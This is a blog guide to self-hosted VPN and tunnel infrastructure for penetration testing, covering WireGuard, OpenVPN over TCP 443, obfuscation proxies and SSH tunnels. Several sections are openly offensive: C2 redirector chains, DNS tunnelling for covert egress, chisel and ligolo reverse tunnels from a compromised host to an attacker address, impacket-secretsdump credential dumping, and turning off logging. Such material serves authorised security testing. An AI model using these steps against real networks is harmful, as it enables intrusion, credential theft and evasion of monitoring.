How To Build Your Own VPN For Hacking (Guide)
- Biohazard

- 4 days ago
- 8 min read

Building Your Own VPN for Hacking
Here's the complete guide to building your own VPN for pentesting — from quick WireGuard tunnels to full multi-hop infrastructure. This is a guide on how to build your own VPN for hacking.
Why Build Your Own VPN for Hacking
A self-hosted VPN serves distinct purposes in an engagement:
Use Case | Why Self-Hosted |
C2 callback infrastructure | Redirectors that hide your real C2 server |
Pivoting into internal networks | VPN tunnel from compromised host into target LAN |
Egress filtering testing | Test what protocols escape the target network |
Data exfiltration simulation | Tunnel data out over various protocols (DNS, ICMP, HTTPS) |
Source IP control | Appear from a specific IP range or geo for testing geo-blocks |
Split-tunnel testing | Verify VPN client routing doesn't leak |
Option 1: WireGuard - Fastest Setup, Minimal Footprint
WireGuard is kernel-native, has a tiny codebase, and is nearly silent on the wire (no handshake noise, UDP only). Perfect for pentest infrastructure.
Server Setup (VPS / Cloud Instance)
bash
# On your server (Debian/Ubuntu)
apt update && apt install wireguard -y
# Generate server keys
cd /etc/wireguard
umask 077
wg genkey | tee server_private.key | wg pubkey > server_public.key
# Create config
cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
Address = 10.99.0.1/24
ListenPort = 51820
PrivateKey = <SERVER_PRIVATE_KEY>
# Optional: NAT for clients to reach internet through you
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT
PostDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
# Client 1 — pentest laptop
[Peer]
PublicKey = <CLIENT1_PUBLIC_KEY>
AllowedIPs = 10.99.0.10/32
# Client 2 — C2 redirector
[Peer]
PublicKey = <CLIENT2_PUBLIC_KEY>
AllowedIPs = 10.99.0.20/32
EOF
# Enable IP forwarding
sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
# Start
systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0
Client Setup
bash
# On pentest laptop
apt install wireguard -y
# Generate keys
wg genkey | tee client_private.key | wg pubkey > client_public.key
cat > /etc/wireguard/wg0.conf << 'EOF'
[Interface]
Address = 10.99.0.10/24
PrivateKey = <CLIENT_PRIVATE_KEY>
# DNS = 1.1.1.1 # Optional
[Peer]
PublicKey = <SERVER_PUBLIC_KEY>
Endpoint = YOUR_SERVER_IP:51820
AllowedIPs = 10.99.0.0/24 # Only route pentest traffic through VPN
# AllowedIPs = 0.0.0.0/0 # Route ALL traffic (full tunnel)
PersistentKeepalive = 25 # Keep NATed connections alive
EOF
wg-quick up wg0
That's it. WireGuard adds about 4ms latency and uses almost no CPU. The handshake is silent — if no one sends data, there are no packets. Firewalls see it as unknown UDP on whatever port you choose.
Multi-Hop WireGuard (Double VPN)
For engagements requiring an extra layer of redirection:
bash
# Server A (entry point, exposed IP 1.2.3.4)
# wg0: 10.99.0.1/24 — clients connect here
# Server B (exit node, IP 5.6.7.8)
# wg1: 10.99.1.1/24 — traffic exits here
# On Server A, route client traffic through Server B:
# In wg0.conf on Server A:
PostUp = ip route add 0.0.0.0/1 via 10.99.1.1
PostUp = ip route add 128.0.0.0/1 via 10.99.1.1
# Client → Server A (WireGuard) → Server B (WireGuard) → Internet
# Client only sees Server A's IP for the tunnel endpointOption 2: OpenVPN - Maximum Flexibility and Protocol Options
OpenVPN can run over TCP port 443, looking exactly like HTTPS. This is critical for egress testing — many networks only allow TCP 80/443 outbound.
TCP 443 Setup (HTTPS Masquerading)
bash
# Server setup
apt install openvpn easy-rsa -y
# PKI setup
make-cadir /etc/openvpn/easy-rsa
cd /etc/openvpn/easy-rsa
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa build-server-full server nopass
./easyrsa build-client-full client1 nopass
./easyrsa gen-dh
# Server config — TCP on 443
cat > /etc/openvpn/server.conf << 'EOF'
port 443
proto tcp # TCP, not UDP — looks like HTTPS
dev tun
ca /etc/openvpn/easy-rsa/pki/ca.crt
cert /etc/openvpn/easy-rsa/pki/issued/server.crt
key /etc/openvpn/easy-rsa/pki/private/server.key
dh /etc/openvpn/easy-rsa/pki/dh.pem
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1 bypass-dhcp"
push "dhcp-option DNS 1.1.1.1"
keepalive 10 120
cipher AES-256-GCM
auth SHA256
tls-version-min 1.2
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384
# TLS auth key for HMAC firewall (drops non-VPN packets silently)
tls-crypt /etc/openvpn/ta.key
# Look like a web server to casual inspection
# OpenVPN's initial handshake is distinguishable, but the constant
# data stream looks like HTTPS to DPI that's not doing TLS fingerprinting
verb 2
mute 20
EOF
# Generate TLS crypt key
openvpn --genkey secret /etc/openvpn/ta.key
# Enable and start
systemctl enable openvpn@server
systemctl start openvpn@server
OpenVPN Over Obfuscation Proxies
When TCP 443 isn't enough and you need to defeat DPI:
bash
# Option A: obfsproxy — makes OpenVPN look like random TCP
apt install obfs4proxy -y
# Server: obfsproxy listens on 443, forwards to OpenVPN on 1194
obfs4proxy -mode server -listen 0.0.0.0:443 -dest 127.0.0.1:1194
# Client: obfsproxy on localhost forwards to server
obfs4proxy -mode client -dest YOUR_SERVER:443 -listen 127.0.0.1:1194
# Then OpenVPN client connects to 127.0.0.1:1194
# Option B: stunnel — wrap OpenVPN in TLS (indistinguishable from HTTPS)
apt install stunnel4 -y
cat > /etc/stunnel/stunnel.conf << 'EOF'
[vpn]
accept = 0.0.0.0:443
connect = 127.0.0.1:1194
cert = /etc/stunnel/server.pem
EOF
# Option C: Shadowsocks → OpenVPN (two-layer)
# Shadowsocks obfuscates the stream, OpenVPN provides the VPN
# Client: OpenVPN → Shadowsocks client → Shadowsocks server → OpenVPN server
DNS Tunneling VPN (Iodine)
When only DNS is allowed out (captive portals, heavily restricted networks):
bash
# Server
apt install iodine -y
# Set up a subdomain: tunnel.yourdomain.com → NS → your server IP
# This delegates all *.tunnel.yourdomain.com DNS queries to your server
iodined -c -P pentestpass -f 10.99.0.1 tunnel.yourdomain.com
# Creates tun interface at 10.99.0.1, clients get 10.99.0.2+
# Client
iodine -f -P pentestpass tunnel.yourdomain.com
# Creates a tunnel interface — now you have IP connectivity over DNS
# Then run SSH, HTTP, anything over this tunnel
ssh user@10.99.0.1 # SSH through DNS tunnel
Performance: DNS tunneling is slow (~100 Kbps up, ~500 Kbps down) and high-latency. Use it for C2 communication, not data exfiltration. It's a last-resort egress path, and it works almost everywhere because DNS is almost never blocked.
Option 3: SSH VPN (No Install Required)
When you can't install anything on the client or server — SSH alone creates a tunnel:
bash
# Layer 3 tunnel (TUN device, full IP routing)
ssh -w 0:0 -o Tunnel=point-to-point root@server
# On server:
ip addr add 10.99.0.1/32 peer 10.99.0.2 dev tun0
ip link set tun0 up
# On client:
ip addr add 10.99.0.2/32 peer 10.99.0.1 dev tun0
ip link set tun0 up
# Now route traffic through the tunnel
ip route add 192.168.1.0/24 via 10.99.0.1 # Route target subnet through SSH tunnel
# Dynamic SOCKS proxy (Layer 5, simpler, no root needed)
ssh -D 1080 -N -f user@server
# Now use localhost:1080 as a SOCKS5 proxy
# proxychains nmap -sT 192.168.1.0/24 # Scan through SSH tunnel
SSH + ProxyChains for pivoting:
bash
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
# Use it
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 crackmapexec smb 10.0.0.10
proxychains4 impacket-secretsdump domain/user:'password'@10.0.0.10Pentest-Specific VPN Architectures
Pattern 1: C2 Redirector Chain
[Your Laptop] ──WireGuard──▶ [Redirector VPS] ──WireGuard──▶ [C2 Server]
10.99.0.10 10.99.0.1 10.99.0.20
10.99.1.1 10.99.1.10
Targets talk to Redirector (port 443, 80, 53)
Redirector forwards to real C2 over WireGuard
C2 never touches the internet directly
If redirector is burned, tear it down — C2 is untouched
Redirector iptables rules:
bash
# Redirector VPS forwards HTTPS traffic to real C2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.99.1.10:443
iptables -t nat -A POSTROUTING -d 10.99.1.10 -p tcp --dport 443 -j MASQUERADE
# Forward DNS to C2 as well
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 10.99.1.10:53
iptables -t nat -A POSTROUTING -d 10.99.1.10 -p udp --dport 53 -j MASQUERADE
Pattern 2: Egress Testing — What Gets Out?
Deploy a VPN server outside the target network, then test what protocols can reach it:
bash
# On external VPS, set up listeners on common ports:
nc -lvnp 22 # SSH
nc -lvnp 53 # DNS TCP
nc -lvnp 80 # HTTP
nc -lvnp 443 # HTTPS
nc -lvnp 8080 # HTTP alt
nc -lvnp 8443 # HTTPS alt
nc -lvnp 3389 # RDP
nc -lvnp 53 -u # DNS UDP
# Also set up protocol-specific servers:
# OpenVPN on TCP 443 (standard)
# OpenVPN on UDP 53 (DNS-like)
# WireGuard on UDP 51820
# OpenVPN + obfsproxy on TCP 443 (obfuscated)
# From inside target network, try to connect to each
# Document which protocols are allowed out and which are blocked
Pattern 3: Pivoting Into Internal Network
Once you compromise a dual-homed host (connected to both external and internal networks):
bash
# On compromised host, create a reverse VPN tunnel back to you
# This gives you a route into the internal network
# Method: Chisel (TCP tunnel over HTTP, works through most proxies)
# On your server:
./chisel server -p 443 --reverse
# On compromised host (Windows or Linux):
./chisel client YOUR_IP:443 R:1080:socks R:10.99.0.1:10.99.0.2:22
# Now you have:
# - SOCKS5 proxy on your localhost:1080 → into target internal network
# - SSH access through the tunnel
# Method: Ligolo-ng (more stable, proper TUN device)
# On your server:
./ligolo-proxy -selfcert -laddr 0.0.0.0:443
# On compromised host:
./ligolo-agent -connect YOUR_IP:443 -ignore-cert
# In ligolo console:
session
ifconfig
start
# Now add routes to target internal subnets through the ligolo interface
ip route add 10.0.0.0/8 dev ligolo
ip route add 172.16.0.0/12 dev ligoloHardening Your VPN Infrastructure
The VPN server itself becomes an attack surface. Secure it:
bash
# 1. WireGuard: Use single-packet authentication (knock before wg handshake)
# Or: rate-limit UDP 51820
iptables -A INPUT -p udp --dport 51820 -m recent --set
iptables -A INPUT -p udp --dport 51820 -m recent --update --seconds 60 --hitcount 5 -j DROP
# 2. OpenVPN: Use tls-crypt (not just tls-auth)
# tls-crypt encrypts the entire handshake, making it indistinguishable from
# random data. tls-auth only authenticates but leaves handshake visible.
# 3. SSH: Key-only auth, no passwords
sed -i 's/^#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
# 4. All services: Bind to WireGuard interface only
# C2 server should listen on 10.99.0.20, not 0.0.0.0
# This means services are unreachable except through the VPN
# 5. Minimal install: VPS should have nothing but WireGuard/OpenVPN
# No web server, no database, no extra packages. Less surface area.
# 6. Logging: Disable or ship to a separate log server
# Your VPN server shouldn't store logs of your pentest activity
systemctl disable rsyslog
# Or configure remote logging to a secure destinationQuick Deployment Script
For teams that need to spin up VPN infrastructure fast:
bash
#!/bin/bash
# pentest-vpn-deploy.sh — One-command WireGuard VPN deployment
# Usage: curl -s https://your-server/deploy.sh | bash -s -- --clients 3
set -e
CLIENTS=${1:-3}
SERVER_IP=$(curl -s ifconfig.me)
echo "[*] Deploying WireGuard VPN on $SERVER_IP"
echo "[*] Clients: $CLIENTS"
apt update && apt install wireguard qrencode -y
# Server keys
SERVER_PRIV=$(wg genkey)
SERVER_PUB=$(echo "$SERVER_PRIV" | wg pubkey)
cat > /etc/wireguard/wg0.conf << EOF
[Interface]
Address = 10.99.0.1/24
ListenPort = 51820
PrivateKey = $SERVER_PRIV
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT
PostDown = iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
EOF
sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
# Generate client configs
for i in $(seq 1 $CLIENTS); do
CLIENT_PRIV=$(wg genkey)
CLIENT_PUB=$(echo "$CLIENT_PRIV" | wg pubkey)
CLIENT_IP="10.99.0.$((10 + i))"
cat >> /etc/wireguard/wg0.conf << EOF
# Client $i
[Peer]
PublicKey = $CLIENT_PUB
AllowedIPs = $CLIENT_IP/32
EOF
# Client config file
cat > "client${i}.conf" << EOF
[Interface]
Address = $CLIENT_IP/24
PrivateKey = $CLIENT_PRIV
DNS = 1.1.1.1
[Peer]
PublicKey = $SERVER_PUB
Endpoint = $SERVER_IP:51820
AllowedIPs = 10.99.0.0/24
PersistentKeepalive = 25
EOF
echo "[+] Client $i config: client${i}.conf"
qrencode -t ansiutf8 < "client${i}.conf"
done
systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0
echo "[+] VPN deployed. Server: $SERVER_IP:51820"
echo "[+] Client configs saved in current directory"



Comments